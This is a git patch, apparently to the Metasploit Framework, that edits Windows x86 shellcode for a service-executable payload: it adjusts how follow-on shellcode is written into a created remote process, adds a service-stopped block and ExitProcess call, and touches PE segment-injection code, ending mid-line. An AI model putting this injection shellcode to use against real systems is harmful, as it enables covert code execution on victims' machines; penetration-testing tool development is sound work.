From e269c1e4f1af56cbbddbcb2cddd796256400359a Mon Sep 17 00:00:00 2001 From: Florian Gaultier Date: Fri, 3 Jan 2014 15:12:25 +0100 Subject: [PATCH] Improve service_block with service_stopped block to cleanly terminate service --- .../src/block/block_create_remote_process.asm | 8 ++---- .../x86/src/single/single_service_stuff.asm | 7 ++++- lib/msf/util/exe.rb | 26 ++++++++++++++----- 3 files changed, 28 insertions(+), 13 deletions(-) diff --git a/external/source/shellcode/windows/x86/src/block/block_create_remote_process.asm b/external/source/shellcode/windows/x86/src/block/block_create_remote_process.asm index 578ecd32a4..50252ad53e 100644 --- a/external/source/shellcode/windows/x86/src/block/block_create_remote_process.asm +++ b/external/source/shellcode/windows/x86/src/block/block_create_remote_process.asm @@ -50,7 +50,7 @@ pop edx mov edi, eax mov ecx, [esi] -lea edx, [edx+0x47] ;pointer on the next shellcode +add dword edx, 0x112247 ;pointer on the next shellcode push esp push 0x00001000 ;Next Shellcode Size push edx ; @@ -79,8 +79,4 @@ call ebp ;call CloseHandle() mov ecx, [esi+0x4] push ecx push 0x528796C6 -call ebp ;call CloseHandle() - -push edi -push 0x56A2B5F0 -call ebp ;call ExitProcess(0) +call ebp ;call CloseHandle() \ No newline at end of file diff --git a/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm b/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm index 5c848922ce..fe3a8aa3a0 100644 --- a/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm +++ b/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm @@ -14,4 +14,9 @@ start: ; pop ebp ; pop off the address of 'api_call' for calling later. %include "./src/block/block_service.asm" -%include "./src/block/block_create_remote_process.asm" \ No newline at end of file +%include "./src/block/block_create_remote_process.asm" +%include "./src/block/block_service_stopped.asm" + +push edi +push 0x56A2B5F0 +call ebp ;call ExitProcess(0) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 3413c4ebc1..d7d9a0944c 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -345,6 +345,9 @@ require 'msf/core/exe/segment_injector' characteristics = sec[1][characteristics_offset,0x4].unpack('L')[0] if (virtualAddress...virtualAddress+sizeOfRawData).include?(pe.hdr.opt.AddressOfEntryPoint) + if sizeOfRawData